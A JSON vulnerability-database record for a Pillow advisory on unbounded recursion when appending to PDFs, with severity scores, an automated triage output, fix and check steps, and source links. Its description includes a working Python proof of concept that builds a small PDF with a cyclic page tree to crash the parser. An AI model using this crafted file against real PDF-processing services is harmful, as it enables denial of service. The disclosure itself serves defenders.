{"id":"CVE-2026-112895","kind":"vulnerability","aliases":["CVE-2026-112895","GHSA-p4wg-p73j-c528"],"related":[],"title":"Pillow: Unbounded recursion parsing a PDF page tree or trailer chain (incomplete fix for CVE-2026-42310)","description":"### Summary\nWhen an application appends to an existing PDF with `Image.save(..., format=\"PDF\", append=True)`, Pillow parses that file with `PdfParser`. Two recursive parsers have no effective bound. `linearize_page_tree` follows `/Kids` with no visited set or depth limit, so a cyclic or duplicated page tree recurses without end. `read_prev_trailer` rejects only an exactly repeated `/Prev` offset, so a long chain of unique offsets still recurses. The trailer-loop guard added for CVE-2026-42310 does not cover either case.\n\n### Details\n`linearize_page_tree` recurses on `/Kids` with no cycle or depth check:\n\n- `src/PIL/PdfParser.py:1078-1092`\n\n`read_prev_trailer` catches only a repeated offset:\n\n- `src/PIL/PdfParser.py:697-720` (the `processed_offsets` check at `:714-718` is the CVE-2026-42310 fix; a unique-offset chain slips past it)\n\n### PoC\n```python\nfrom PIL import PdfParser\n\n# A page tree whose /Pages nodes reference each other in a cycle (2 -> 3 -> 2).\nobjs = {\n    1: b\"<< /Type /Catalog /Pages 2 0 R >>\",\n    2: b\"<< /Type /Pages /Kids [3 0 R] /Count 1 >>\",\n    3: b\"<< /Type /Pages /Kids [2 0 R] /Count 1 >>\",\n}\nbuf = bytearray(b\"%PDF-1.4\\n\")\noff = {}\nfor oid in (1, 2, 3):\n    off[oid] = len(buf)\n    buf += b\"%d 0 obj\\n\" % oid + objs[oid] + b\"\\nendobj\\n\"\nxref = len(buf)\nbuf += b\"xref\\n0 4\\n0000000000 65535 f \\n\"\nbuf += b\"\".join(b\"%010d 00000 n \\n\" % off[o] for o in (1, 2, 3))\nbuf += b\"trailer\\n<< /Root 1 0 R /Size 4 >>\\nstartxref\\n%d\\n%%%%EOF\\n\" % xref\nopen(\"poc.pdf\", \"wb\").write(buf)\n\nPdfParser.PdfParser(\"poc.pdf\", mode=\"r+b\")   # append=True parses the existing file the same way\n```\n\nRun it:\n```\n$ python 11_poc.py\nRecursionError: maximum recursion depth exceeded\n```\n\nThe 315-byte file triggers the recursion on parse. A duplicated (non-cyclic) `/Kids` tree instead produces super-linear CPU and memory work, and a long unique-offset `/Prev` chain triggers the trailer-side recursion.\n\n### Impact\nA service that appends to user-supplied PDFs, for example a stamping or watermarking pipeline, can be driven into uncaught recursion or heavy CPU and memory use before any image is written. Follow-up to CVE-2026-42310. Since Pillow's policy discourages filing plain Python exceptions as denial of service, lead with the cyclic-tree case, which burns CPU and memory rather than only raising `RecursionError`. The fix is a visited set plus a depth limit in both parsers.","summary":"Pillow's PDF append path parses existing PDFs with recursive functions that have no effective bound on page-tree or trailer-chain depth. A crafted PDF can crash the parse with RecursionError or consume heavy CPU and memory before any image is written.","severity":"high","cvss":8.7,"epss":0.0029100000392645597,"exploited":false,"exploited_at":null,"products":[{"name":"pillow","fixed":["13.0.0"],"affected":">= 5.1.0, < 13.0.0","ecosystem":"pypi"}],"ecosystems":["pypi"],"tags":["cwe-674","package","pdf-processing","pillow","python","stamping-pipelines","watermarking"],"not_affected_if":["no-append-true-usage","pillow-below-5.1.0-or-13.0.0-plus","trusted-pdf-input-only"],"how_to_check":"Run pip show pillow and check whether the version is >= 5.1.0 and < 13.0.0.\nFind code that calls Image.save(..., format=\"PDF\", append=True) on user-supplied PDF files.","fix":"Upgrade pillow to 13.0.0 or later.\nUntil upgraded, do not call Image.save with append=True on untrusted PDF files.","status":"open","published_at":"2026-10-19T22:17:09+00:00","first_seen_at":"2026-10-23T19:11:32+00:00","triaged_at":"2026-10-23T20:13:23+00:00","updated_at":"2026-10-23T21:57:19+00:00","category":"package","confidence":0.8,"triage":{"at":"2026-10-23T20:13:23Z","model":"claude-haiku-5-5","output":{"fix":"Upgrade pillow to 13.0.0 or later.\nUntil upgraded, do not call Image.save with append=True on untrusted PDF files.","summary":"Pillow's PDF append path parses existing PDFs with recursive functions that have no effective bound on page-tree or trailer-chain depth. A crafted PDF can crash the parse with RecursionError or consume heavy CPU and memory before any image is written.","category":"package","who_cares":["python","pillow","pdf-processing","stamping-pipelines","watermarking"],"confidence":0.8,"analyst_note":"","how_to_check":"Run pip show pillow and check whether the version is >= 5.1.0 and < 13.0.0.\nFind code that calls Image.save(..., format=\"PDF\", append=True) on user-supplied PDF files.\nunknown","needs_analyst":false,"not_affected_if":["pillow-below-5.1.0-or-13.0.0-plus","no-append-true-usage","trusted-pdf-input-only"],"severity_if_unknown":"high"},"cost_usd":0.000488,"input_tokens":3057,"output_tokens":365,"severity_before":"high"},"analyst_status":null,"analyst_note":null,"search":"'-1.4':273C '-1092':186C '-112895':20A,28A '-2026':16A,19A,27A,164C,208C,449C '-42310':17A,165C,209C,450C '-674':31B '-718':204C '-720':197C '/catalog':244C '/count':257C,267C '/kids':119C,177C,253C,263C,385C '/pages':229C,245C,252C,262C '/prev':145C,402C '/root':330C '/size':334C '/type':243C,251C,261C '0':247C,255C,265C,289C,332C '00000':315C '010d':314C '1':241C,258C,268C,279C,323C,331C '1078':185C '11_poc.py':365C '2':237C,239C,246C,249C,264C,280C,324C '3':238C,254C,259C,281C,325C '315':372C '4':305C,335C '65535':307C '697':196C '714':203C 'add':161C 'append':45B,91C,100C,353C,414C 'applic':90C 'b':242C,250C,260C,271C,287C,295C,302C,311C,313C,327C,352C 'bound':57B,114C 'buf':269C,285C,286C,300C,301C,310C,326C,347C 'burn':472C 'byte':373C 'bytearray':270C 'c528':25A 'case':170C,470C 'catch':190C 'chain':11A,65B,150C,215C,403C 'check':183C,201C 'consum':77B 'cover':168C 'cpu':79B,392C,435C,473C 'craft':68B 'crash':71B 'cve':15A,18A,26A,163C,207C,448C 'cwe':30B 'cycl':180C,236C 'cyclic':129C,384C,468C 'cyclic-tre':467C 'd':288C,338C 'denial':461C 'depth':66B,125C,182C,369C,489C 'detail':171C 'discourag':455C 'driven':429C 'duplic':131C,381C 'effect':56B,113C 'either':169C 'end':136C 'eof':340C 'exact':143C 'exampl':421C 'exceed':370C 'except':459C 'exist':48B,94C,357C 'f':308C 'file':105C,358C,374C,456C 'fix':13A,210C,482C 'follow':118C,445C 'follow-up':444C 'format':98C 'function':52B 'ghsa':22A 'ghsa-p4wg-p73j-c528':21A 'guard':160C 'heavi':78B,434C 'imag':84B,441C 'image.save':97C 'impact':410C 'import':223C 'incomplet':12A 'instead':387C 'join':312C 'lead':464C 'len':284C,299C 'limit':126C,490C 'linear':115C,172C,391C 'long':149C,398C 'loop':159C 'maximum':367C 'memori':81B,394C,437C,475C 'mode':350C 'n':274C,291C,297C,309C,316C,317C,329C,337C,339C,341C 'n0':304C 'n0000000000':306C 'nendobj':296C 'node':230C 'non':383C 'non-cycl':382C 'nstartxref':336C 'o':319C,321C 'obj':240C,290C,293C 'offset':146C,153C,194C,200C,214C,401C 'oid':277C,283C,292C,294C 'open':343C 'p4wg':23A 'p73j':24A 'packag':32B 'page':7A,60B,116C,132C,173C,226C 'page-tre':59B 'pars':4A,47B,73B,103C,355C,379C 'parser':110C,493C 'past':217C 'path':46B 'pdf':6A,34B,44B,69B,95C,99C,272C 'pdf-process':33B 'pdfparser':107C,224C 'pdfparser.pdfparser':348C 'pdfs':49B,419C 'pil':222C 'pillow':1A,29A,36B,42B,102C,452C 'pipelin':40B,426C 'plain':457C 'plus':487C 'poc':219C 'poc.pdf':344C,349C 'polici':454C 'prev':138C,188C 'process':35B,199C 'produc':388C 'python':37B,220C,364C,458C 'r':248C,256C,266C,333C,351C 'rais':479C 'rather':476C 'read':137C,187C 'recurs':3A,51B,109C,134C,155C,175C,368C,377C,409C,432C 'recursionerror':75B,366C,480C 'refer':231C 'reject':140C 'repeat':144C,193C 'run':362C 'servic':412C,463C 'set':123C,486C 'side':408C 'sinc':451C 'slip':216C 'src/pil/pdfparser.py':184C,195C 'stamp':39B,423C 'stamping-pipelin':38B 'still':154C 'summari':87C 'super':390C 'super-linear':389C 'suppli':418C 'trailer':10A,64B,139C,158C,189C,328C,407C 'trailer-chain':63B 'trailer-loop':157C 'trailer-sid':406C 'tree':8A,61B,117C,133C,174C,227C,386C,469C 'trigger':375C,404C 'true':101C,354C 'two':108C 'unbound':2A 'uncaught':431C 'uniqu':152C,213C,400C 'unique-offset':212C,399C 'use':438C 'user':417C 'user-suppli':416C 'visit':122C,485C 'watermark':41B,425C 'way':361C 'wb':345C 'whose':228C 'without':135C 'work':395C 'write':346C 'written':86B,443C 'xref':298C,303C,342C","nicknames":[],"mitigations":[],"who_affected":null,"tier":"B","verified":{},"analyst_revisit_at":null,"first_public_at":"2026-10-19T22:17:09+00:00","kev":null,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cvss_by":"security-advisories@github.com","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-p4wg-p73j-c528","url":"https://github.com/advisories/GHSA-p4wg-p73j-c528","severity":"high","published_at":"2026-10-20T20:50:49+00:00","modified_at":"2026-10-20T20:50:50+00:00","first_seen_at":"2026-10-23T19:11:32+00:00","fetched_at":"2026-10-23T19:11:32+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-112895","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112895","severity":null,"published_at":"2026-10-19T22:17:09+00:00","modified_at":"2026-10-20T19:50:26+00:00","first_seen_at":"2026-10-23T21:57:19+00:00","fetched_at":"2026-10-23T22:28:57+00:00","note":null}],"documents":[],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}